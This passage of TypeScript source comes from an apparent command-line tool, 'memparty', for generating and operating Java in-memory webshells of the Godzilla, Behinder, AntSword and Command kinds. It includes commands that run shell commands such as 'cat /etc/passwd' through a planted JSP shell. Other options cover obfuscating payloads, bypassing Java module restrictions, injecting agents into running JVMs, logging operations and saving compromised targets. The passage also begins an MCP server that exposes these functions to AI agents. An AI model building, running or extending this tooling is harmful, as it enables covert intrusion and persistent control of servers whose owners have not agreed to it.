--pass rebeyond \\\\\n --header-value my-secret-token --cmd \"cat /etc/passwd\"\n $ memparty exec web222 --cmd \"whoami\" # saved target, see 'memparty list'\n $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\\\\n --cmd \"ipconfig /all\" --json\n\nNote: godzilla auto-detects the remote OS (one extra request) to pick\ncmd.exe vs /bin/sh — pass --os to skip the detection. Behinder detects\nthe OS inside its payload, so --os does not apply.\n`,\n )\n .action(async (name: string | undefined, opts: ExecCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n let conn;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n profile: opts.profile,\n upgradeProtocol: opts.upgradeProtocol,\n });\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const common: CommonConnectOptions = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n };\n\n let result: ExecResult;\n try {\n const protocol = requireProtocol(conn.tool);\n if (!protocol.exec) {\n reportError(unsupportedMessage(protocol, \"exec\"), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n const options: ProtocolOptions = {\n os: opts.os,\n profile: conn.profile,\n dynamicPath: opts.dynamicPath,\n };\n result = await protocol.exec({ conn, common, options }, opts.cmd!);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n // a successful exec proves the credentials — keep them as a named target\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined && opts.save !== false) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: opts.cmd,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\\n`);\n } else if (result.ok) {\n process.stdout.write(result.output ?? \"\");\n if (result.output && !result.output.endsWith(\"\\n\")) process.stdout.write(\"\\n\");\n if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);\n } else {\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\n }\n if (!result.ok) {\n process.exitCode = 1;\n }\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitSinglePackResult, hasMultiplePackResults } from \"../core/output.js\";\nimport { buildMemShellRequest, type MemShellOptions } from \"../core/request-builder.js\";\nimport { parseObfuscationOptions } from \"../core/obfuscation.js\";\nimport { agentLoadExamples, supportsAgentLoadArguments } from \"../core/agent.js\";\nimport { runMemShellWizard } from \"../wizard/memshell-wizard.js\";\nimport {\n parseShellToolConfig,\n parseToolConfigFile,\n} from \"../core/shell-tool-config.js\";\n\ninterface GenCmdOptions extends GlobalOptions {\n server?: string;\n serverVersion?: string;\n tool?: string;\n type?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n obfuscate?: boolean;\n obfuscationOptions?: string;\n obfuscationScope?: \"ALL\" | \"MEMSHELL_INJECTOR\" | \"INJECTOR\" | \"MEMSHELL\";\n shellClassName?: string;\n toolOption?: string[];\n toolConfig?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n behinderPass?: string;\n antswordPass?: string;\n commandParamName?: string;\n commandTemplate?: string;\n encryptor?: string;\n implementationClass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n shellClassFile?: string;\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n agentArgs?: string;\n}\n\nconst REQUIRED = [\"server\", \"tool\", \"type\", \"packer\"] as const;\n\nasync function toOptions(o: GenCmdOptions, client: ReturnType<typeof createClient>): Promise<MemShellOptions> {\n let shellClassBase64 = o.shellClassBase64;\n if (o.shellClassFile) {\n shellClassBase64 = readFileSync(o.shellClassFile).toString(\"base64\");\n }\n const hasPluginOptions = (o.toolOption?.length ?? 0) > 0 || o.toolConfig !== undefined;\n const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];\n const shellToolParams = hasPluginOptions\n ? toolConfigs.find((config) => config.tool === o.tool)?.params\n : undefined;\n const fromFile = o.toolConfig === undefined\n ? {}\n : parseToolConfigFile(\n o.toolConfig.trimStart().startsWith(\"{\")\n ? o.toolConfig\n : readFileSync(o.toolConfig, \"utf8\"),\n shellToolParams,\n );\n const shellToolConfig = {\n ...fromFile,\n ...parseShellToolConfig(o.toolOption, shellToolParams),\n };\n return {\n server: o.server!,\n serverVersion: o.serverVersion,\n shellTool: o.tool!,\n shellType: o.type!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n probe: o.probe,\n obfuscate: o.obfuscate,\n obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),\n obfuscationScope: o.obfuscationScope,\n shellClassName: o.shellClassName,\n shellToolConfig: hasPluginOptions ? shellToolConfig : undefined,\n shellToolParams,\n godzillaPass: o.godzillaPass,\n godzillaKey: o.godzillaKey,\n behinderPass: o.behinderPass,\n antSwordPass: o.antswordPass,\n commandParamName: o.commandParamName,\n commandTemplate: o.commandTemplate,\n encryptor: o.encryptor,\n implementationClass: o.implementationClass,\n headerName: o.headerName,\n headerValue: o.headerValue,\n shellClassBase64,\n urlPattern: o.urlPattern,\n injectorClassName: o.injectorClassName,\n staticInitialize: o.staticInitialize,\n };\n}\n\nexport function registerGenCommand(program: Command): void {\n program\n .command(\"gen\")\n .alias(\"generate\")\n .description(\"Generate a memory shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-s, --server <server>\", \"target server, e.g. Tomcat\")\n .option(\"--server-version <v>\", \"target server version\")\n .option(\"-t, --tool <tool>\", \"shell tool, e.g. Godzilla, Behinder, Command\")\n .option(\"-y, --type <type>\", \"shell type, e.g. Listener, Filter, Servlet\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, Jar, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21/25, or a class-file major version\")\n .option(\"--debug\", \"enable debug output in the payload\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--probe\", \"use echo/probe mode\")\n .option(\"--obfuscate\", \"enable class obfuscation (MemShellParty v3+)\")\n .option(\"--obfuscation-options <options>\", \"obfuscation overrides: key=value, comma-separated\")\n .addOption(\n new Option(\"--obfuscation-scope <scope>\", \"obfuscation scope (MemShellParty v3+)\").choices([\n \"ALL\",\n \"MEMSHELL_INJECTOR\",\n \"INJECTOR\",\n \"MEMSHELL\",\n ]),\n )\n .option(\"--shell-class-name <name>\", \"explicit shell class name (random if omitted)\")\n .option(\n \"--tool-option <name=value>\",\n \"shell-tool-specific option; repeat for multiple fields; object values use JSON (v3.1+)\",\n (value, previous: string[] = []) => [...previous, value],\n [],\n )\n .option(\"--tool-config <json|path>\", \"shell-tool options as a JSON object or a JSON file path\")\n .option(\"--godzilla-pass <pass>\", \"Godzilla / GodzillaSession password\")\n .option(\"--godzilla-key <key>\", \"Godzilla / GodzillaSession key\")\n .option(\"--behinder-pass <pass>\", \"Behinder password\")\n .option(\"--antsword-pass <pass>\", \"AntSword password\")\n .option(\"--command-param-name <name>\", \"Command tool parameter name\")\n .option(\"--command-template <tpl>\", \"Command template ({command} placeholder)\")\n .option(\"--encryptor <name>\", \"Command encryptor\")\n .option(\"--implementation-class <name>\", \"Command implementation class\")\n .option(\"--header-name <name>\", \"auth header name\")\n .option(\"--header-value <value>\", \"auth header value\")\n .option(\"--shell-class-base64 <b64>\", \"custom shell class (base64) for the Custom tool\")\n .option(\"--shell-class-file <path>\", \"custom shell .class file for the Custom tool\")\n .option(\"--url-pattern <pattern>\", \"injector URL pattern\")\n .option(\"--injector-class-name <name>\", \"explicit injector class name\")\n .option(\"--no-static-initialize\", \"disable injector static initialization (enabled by default)\")\n .option(\"--agent-args <args>\", \"Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty gen # interactive wizard\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\\\\n --godzilla-pass pass --godzilla-key key --jdk java8\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\\\\n --godzilla-pass pass --godzilla-key key -o shell.class\n $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\\\\n --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json\n $ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true\n $ memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \\\\\n --tool-option profile='{\"id\":\"web-1\",\"name\":\"Web\"}' --tool-option mode=fast\n\nNote: run 'memparty config' to list the available servers, tools, shell\ntypes and packers. On v3, parent packers are categories — pick a concrete\nvariant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still\nsupport aggregate packers, but -o cannot write several variants to one file.\nThe --json output includes the gate header (shellToolConfig) you need for\n'memparty connect' / 'memparty exec'.\nUse 'memparty config tool-configs' to discover plugin string, enum and object\nfields. --tool-config can be an inline JSON object or a path to a JSON file.\nRepeated --tool-option values override matching keys from --tool-config.\n`,\n )\n .action(async (opts: GenCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let memOpts: MemShellOptions;\n if (wantWizard) {\n memOpts = await runMemShellWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n memOpts = await toOptions(opts, client);\n }\n\n const request = buildMemShellRequest(memOpts);\n const { agentArgs } = opts;\n if (agentArgs !== undefined && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {\n throw new Error(\n \"--agent-args requires an Agent* shell type \" +\n \"and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer.\",\n );\n }\n // safe summary for the op log — parameters only, never credentials\n const genMeta = {\n server: memOpts.server,\n serverVersion: memOpts.serverVersion,\n shellTool: memOpts.shellTool,\n shellType: memOpts.shellType,\n packer: memOpts.packer,\n jdk: memOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateMemShell(request);\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: genMeta,\n });\n throw err;\n }\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta: genMeta,\n });\n\n if (opts.json) {\n // -o still writes the payload file in JSON mode; the JSON document\n // then carries an extra `outputFile` field with the write result.\n const outputFile =\n opts.output !== undefined\n ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode })\n : undefined;\n const doc = {\n ...response,\n ...(outputFile === undefined ? {} : { outputFile }),\n ...(agentArgs === undefined ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }),\n };\n process.stdout.write(`${JSON.stringify(doc, null, 2)}\\n`);\n return;\n }\n\n const r = response.memShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);\n\n if (hasMultiplePackResults(response)) {\n if (opts.output !== undefined) {\n throw new Error(\n `-o cannot write ${Object.keys(response.allPackResults!).length} packer variants to one file. ` +\n `Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`,\n );\n }\n for (const [name, value] of Object.entries(response.allPackResults!)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n const result = emitSinglePackResult(response, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n if (agentArgs !== undefined) {\n for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);\n }\n });\n}\n","import { randomInt } from \"node:crypto\";\n\nimport type {\n MemShellGenerateRequest,\n ProbeShellGenerateRequest,\n ShellToolConfigValue,\n} from \"../api/types.js\";\nimport { validateRequiredRemoteOptions } from \"./shell-tool-config.js\";\nimport type { ToolConfigParam } from \"../api/types.js\";\nimport { resolveJreVersion } from \"./jdk.js\";\n\n/**\n * Packers that require a randomised Spring expression injector class name.\n * Ported from web/app/utils/transformer.ts.\n */\nconst SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([\n \"SpEL\",\n \"SpELSpringGzipJDK17\",\n \"OGNL\",\n \"OGNLSpringGzipJDK17\",\n \"JXPath\",\n \"JXPathSpringGzipJDK17\",\n]);\n\nconst UPPERCASE_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nconst CLASS_NAME_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\nfunction randomChar(chars: string): string {\n return chars[randomInt(chars.length)];\n}\n\nfunction generateSpringExpressionInjectorClassName(): string {\n const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join(\"\");\n return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;\n}\n\n/** Flat option set for building a memshell request (from flags or the wizard). */\nexport interface MemShellOptions {\n server: string;\n serverVersion?: string;\n shellTool: string;\n shellType: string;\n packer: string;\n\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n obfuscate?: boolean;\n obfuscationOptions?: Record<string, unknown>;\n obfuscationScope?: \"ALL\" | \"MEMSHELL_INJECTOR\" | \"INJECTOR\" | \"MEMSHELL\";\n\n shellClassName?: string;\n shellToolConfig?: Record<string, ShellToolConfigValue>;\n shellToolParams?: ToolConfigParam[];\n godzillaPass?: string;\n godzillaKey?: string;\n commandParamName?: string;\n commandTemplate?: string;\n behinderPass?: string;\n antSwordPass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n encryptor?: string;\n implementationClass?: string;\n\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n}\n\nexport function buildMemShellRequest(opts: MemShellOptions): MemShellGenerateRequest {\n validateRequiredRemoteOptions(opts.shellToolConfig ?? {}, opts.shellToolParams);\n const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer)\n ? generateSpringExpressionInjectorClassName()\n : opts.injectorClassName;\n\n return {\n shellConfig: {\n server: opts.server,\n serverVersion: opts.serverVersion,\n shellTool: opts.shellTool,\n shellType: opts.shellType,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n lambdaSuffix: opts.lambdaSuffix,\n probe: opts.probe ? { probeMethod: \"ResponseBody\", probeContent: \"Bytecode\" } : undefined,\n obfuscation:\n opts.obfuscate || opts.obfuscationOptions !== undefined\n ? { enabled: true, options: opts.obfuscationOptions }\n : undefined,\n obfuscationScope: opts.obfuscationScope,\n },\n shellToolConfig: {\n shellClassName: opts.shellClassName,\n pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,\n key: opts.godzillaKey,\n paramName: opts.commandParamName,\n template: opts.commandTemplate,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n shellClassBase64: opts.shellClassBase64,\n encryptor: opts.encryptor,\n implementationClass: opts.implementationClass,\n ...opts.shellToolConfig,\n },\n injectorConfig: {\n injectorClassName,\n urlPattern: opts.urlPattern,\n staticInitialize: opts.staticInitialize,\n },\n packer: opts.packer,\n };\n}\n\n/** Flat option set for building a probe request. */\nexport interface ProbeOptions {\n probeMethod: string;\n probeContent: string;\n packer: string;\n\n shellClassName?: string;\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n staticInitialize?: boolean;\n lambdaSuffix?: boolean;\n obfuscate?: boolean;\n obfuscationOptions?: Record<string, unknown>;\n\n host?: string;\n seconds?: number;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n respHeaderName?: string;\n}\n\nexport function buildProbeRequest(opts: ProbeOptions): ProbeShellGenerateRequest {\n return {\n probeConfig: {\n probeMethod: opts.probeMethod,\n probeContent: opts.probeContent,\n shellClassName: opts.shellClassName,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n staticInitialize: opts.staticInitialize,\n lambdaSuffix: opts.lambdaSuffix,\n obfuscation:\n opts.obfuscate || opts.obfuscationOptions !== undefined\n ? { enabled: true, options: opts.obfuscationOptions }\n : undefined,\n },\n probeContentConfig: {\n host: opts.host,\n seconds: opts.seconds,\n sleepServer: opts.sleepServer,\n server: opts.server,\n reqParamName: opts.reqParamName,\n commandTemplate: opts.commandTemplate,\n respHeaderName: opts.respHeaderName,\n },\n packer: opts.packer,\n };\n}\n","export function supportsAgentLoadArguments(shellType: string, packer: string): boolean {\n return (\n shellType.startsWith(\"Agent\") &&\n [\"AgentJar\", \"AgentJarWithJDKAttacher\", \"AgentJarWithJREAttacher\"].includes(packer)\n );\n}\n\nexport function agentLoadExamples(agentArgs: string): string[] {\n return [\n `java -jar agent.jar <pid> ${agentArgs}`,\n `jattach <pid> load instrument false agent.jar=${agentArgs}`,\n ];\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { checkbox, confirm, input, select } from \"@inquirer/prompts\";\n\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { MemShellOptions } from \"../core/request-builder.js\";\nimport type { MemPartyClient } from \"../api/client.js\";\nimport type { ShellToolConfigValue, ToolConfigDescriptor, ToolConfigParam } from \"../api/types.js\";\nimport { fetchRemoteOptions, toolConfigForTool } from \"../core/shell-tool-config.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({\n name: `${name} (${major})`,\n value: name,\n })),\n];\n\n/** Drive an interactive prompt flow, returning options for buildMemShellRequest. */\nexport async function runMemShellWizard(client: MemPartyClient): Promise<MemShellOptions> {\n const [config, packerTree, toolConfigs] = await Promise.all([\n client.getConfig(),\n client.getPackerTree(),\n client.getShellToolConfigs(),\n ]);\n\n const server = await select({\n message: \"Target server\",\n choices: Object.keys(config).map((s) => ({ name: s, value: s })),\n });\n\n const tools = Object.keys(config[server]);\n const shellTool = await select({\n message: \"Shell tool\",\n choices: tools.map((t) => ({ name: t, value: t })),\n });\n\n const shellType = await select({\n message: \"Shell type\",\n choices: config[server][shellTool].map((t) => ({ name: t, value: t })),\n });\n\n const category = await select({\n message: \"Packer category\",\n choices: packerTree.map((packer) => ({ name: packer.name, value: packer.name })),\n });\n const selected = packerTree.find((packer) => packer.name === category)!;\n const packer = selected.children.length\n ? await select({\n message: \"Packer variant\",\n choices: selected.children.map((name) => ({ name, value: name })),\n })\n : category;\n\n const opts: MemShellOptions = { server, shellTool, shellType, packer };\n\n const toolConfig = toolConfigForTool(toolConfigs, shellTool);\n if (toolConfig) {\n opts.shellToolParams = toolConfig.params;\n opts.shellToolConfig = {};\n const visibleParams = toolConfig.params.filter((param) => param.ui?.kind === \"remote-select\" || !useRandomDefaults(toolConfig));\n const singleRemoteParam = visibleParams.length === 1 && visibleParams[0]?.ui?.kind === \"remote-select\"\n ? visibleParams[0]\n : undefined;\n for (const param of visibleParams) {\n const value = await promptToolParam(param, param.name === singleRemoteParam?.name);\n if (value !== undefined && value !== \"\") opts.shellToolConfig[param.name] = value;\n }\n } else {\n await promptLegacyToolConfig(opts, client);\n }\n\n const shellClassName = await input({ message: \"Shell class name (optional, random if empty)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n opts.urlPattern = await input({ message: \"URL pattern\", default: \"/*\" });\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n { name: \"class obfuscation (v3+)\", value: \"obfuscate\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n opts.obfuscate = toggles.includes(\"obfuscate\");\n\n const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });\n if (!confirmed) {\n throw new Error(\"Cancelled by user.\");\n }\n\n return opts;\n}\n\nasync function promptToolParam(param: ToolConfigParam, autoSelectFirst = false): Promise<ShellToolConfigValue | undefined> {\n const label = param.label || param.name;\n if (param.ui?.kind === \"remote-select\") {\n const defaultSource = process.env[param.ui.urlQueryParam] ?? \"\";\n const sourceUrl = defaultSource || await input({\n message: `${label}: remote options URL (${param.ui.urlQueryParam})${param.ui.required ? \"\" : \" (optional)\"}`,\n default: defaultSource,\n });\n if (!sourceUrl) return undefined;\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), 30_000);\n try {\n const options = await fetchRemoteOptions(\n sourceUrl,\n param.ui,\n param.type === \"object\",\n globalThis.fetch,\n controller.signal,\n );\n if (options.length === 0) throw new Error(`No remote options returned for ${param.name}.`);\n if (autoSelectFirst) return options[0]!.value;\n const selected = await select({\n message: label,\n choices: options.map((option, index) => ({ name: option.label, value: String(index) })),\n });\n return options[Number(selected)]!.value;\n } finally {\n clearTimeout(timer);\n }\n }\n if (param.type === \"object\") {\n const raw = await input({ message: `${label} (JSON object, optional)`, default: \"\" });\n if (!raw) return undefined;\n let value: unknown;\n try {\n value = JSON.parse(raw);\n } catch (err) {\n throw new Error(`${param.name} must be valid JSON: ${(err as Error).message}`);\n }\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n throw new Error(`${param.name} must be a JSON object.`);\n }\n return value as Record<string, unknown>;\n }\n if (param.type === \"enum\") {\n return select({\n message: label,\n choices: [\n { name: `backend default${param.placeholder ? ` (${param.placeholder})` : \"\"}`, value: \"\" },\n ...param.options.map((option) => ({ name: option, value: option })),\n ],\n });\n }\n if (param.name === \"shellClassBase64\") {\n const file = await input({ message: \"Path to custom .class file\" });\n return file ? readFileSync(file).toString(\"base64\") : undefined;\n }\n return input({ message: label, default: \"\", ...(param.placeholder ? { placeholder: param.placeholder } : {}) });\n}\n\nfunction useRandomDefaults(config: ToolConfigDescriptor): boolean {\n return [\"Godzilla\", \"GodzillaSession\", \"Behinder\", \"AntSword\"].includes(config.tool);\n}\n\nasync function promptLegacyToolConfig(\n opts: MemShellOptions,\n client: MemPartyClient,\n): Promise<void> {\n switch (opts.shellTool) {\n case \"Godzilla\":\n case \"GodzillaSession\":\n opts.godzillaPass = await input({ message: \"Godzilla pass\", default: \"pass\" });\n opts.godzillaKey = await input({ message: \"Godzilla key\", default: \"key\" });\n break;\n case \"Behinder\":\n opts.behinderPass = await input({ message: \"Behinder pass\", default: \"rebeyond\" });\n break;\n case \"AntSword\":\n opts.antSwordPass = await input({ message: \"AntSword pass\", default: \"ant\" });\n break;\n case \"Command\": {\n opts.commandParamName = await input({ message: \"Command param name\", default: \"cmd\" });\n const commandConfig = await client.getCommandConfigs();\n opts.encryptor = await select({\n message: \"Encryptor\",\n choices: commandConfig.encryptors.map((value) => ({ name: value, value })),\n });\n opts.implementationClass = await select({\n message: \"Implementation class\",\n choices: commandConfig.implementationClasses.map((value) => ({ name: value, value })),\n });\n const template = await input({ message: \"Command template (optional, {command} placeholder)\", default: \"\" });\n if (template) opts.commandTemplate = template;\n break;\n }\n case \"Custom\": {\n const file = await input({ message: \"Path to custom .class file\" });\n opts.shellClassBase64 = readFileSync(file).toString(\"base64\");\n break;\n }\n }\n opts.headerName = await input({ message: \"Header name\", default: \"User-Agent\" });\n const headerValue = await input({ message: \"Header value (optional)\", default: \"\" });\n if (headerValue) opts.headerValue = headerValue;\n}\n","import { Command, Option } from \"commander\";\n\nimport { formatOp, opLogPath, readOps, type OpCategory } from \"../core/oplog.js\";\n\ninterface LogCmdOptions {\n category?: OpCategory;\n target?: string;\n limit?: string;\n json?: boolean;\n}\n\nexport function registerLogCommand(program: Command): void {\n program\n .command(\"log\")\n .description(\"Show the global operation log\")\n .addOption(\n new Option(\"--category <name>\", \"filter by operation category\").choices([\n \"gen\",\n \"probe\",\n \"connect\",\n \"exec\",\n \"download\",\n \"upload\",\n \"save\",\n \"note\",\n \"remove\",\n ]),\n )\n .option(\n \"--target <name>\",\n \"filter by target: project name, project/shell, or a URL substring (e.g. host)\",\n )\n .option(\"--limit <n>\", \"max entries (default 50)\", \"50\")\n .option(\"--json\", \"output raw JSON entries (newest first)\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty log # latest 50 operations\n $ memparty log --category exec # only command executions\n $ memparty log --category save # only target saves\n $ memparty log --target web1 # everything against project web1\n $ memparty log --category exec --target 192.0.2.10 --json\n`,\n )\n .action((opts: LogCmdOptions) => {\n const limit = Number.parseInt(opts.limit ?? \"50\", 10);\n const entries = readOps({\n category: opts.category,\n target: opts.target,\n limit: Number.isNaN(limit) ? 50 : limit,\n });\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}\\n`);\n return;\n }\n if (entries.length === 0) {\n process.stdout.write(`no operations logged yet (log: ${opLogPath()})\\n`);\n return;\n }\n for (const entry of entries) {\n process.stdout.write(`${formatOp(entry)}\\n`);\n }\n });\n}\n","import { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\";\nimport { writeFileSync } from \"node:fs\";\nimport { z } from \"zod\";\n\nimport { MemPartyClient } from \"../api/client.js\";\nimport { requireProtocol, unsupportedMessage, type ProtocolOptions } from \"../connect/registry.js\";\nimport type {} from \"../connect/types.js\";\nimport { readUploadFile, resolveDownloadPath } from \"../core/localfile.js\";\nimport { logOp, opLogPath, readOps, truncateOutput, type OpCategory } from \"../core/oplog.js\";\nimport { emitSinglePackResult } from \"../core/output.js\";\nimport {\n autoSaveShell,\n listProjects,\n removeProject,\n removeShell,\n resolveConnection,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n} from \"../core/targets.js\";\nimport { buildMemShellRequest } from \"../core/request-builder.js\";\nimport { buildProbeRequest } from \"../core/request-builder.js\";\nimport { parseObfuscationOptions } from \"../core/obfuscation.js\";\nimport { fetchRemoteOptions, parseShellToolConfig } from \"../core/shell-tool-config.js\";\nimport { agentLoadExamples, supportsAgentLoadArguments } from \"../core/agent.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\nfunction jsonContent(data: unknown) {\n return { content: [{ type: \"text\" as const, text: JSON.stringify(data, null, 2) }] };\n}\n\nfunction errorContent(err: unknown) {\n return {\n isError: true,\n content: [{ type: \"text\" as const, text: `Error: ${(err as Error).message}` }],\n };\n}\n\nconst memShellInput = {\n server: z.string().describe(\"Target server, e.g. Tomcat\"),\n serverVersion: z.string().optional(),\n shellTool: z.string().describe(\"Shell tool, e.g. Godzilla, Behinder, Command\"),\n shellType: z.string().describe(\"Shell type, e.g. Listener, Filter, Servlet\"),\n packer: z.string().describe(\"Packer, e.g. Base64, Jar, JSP\"),\n jdk: 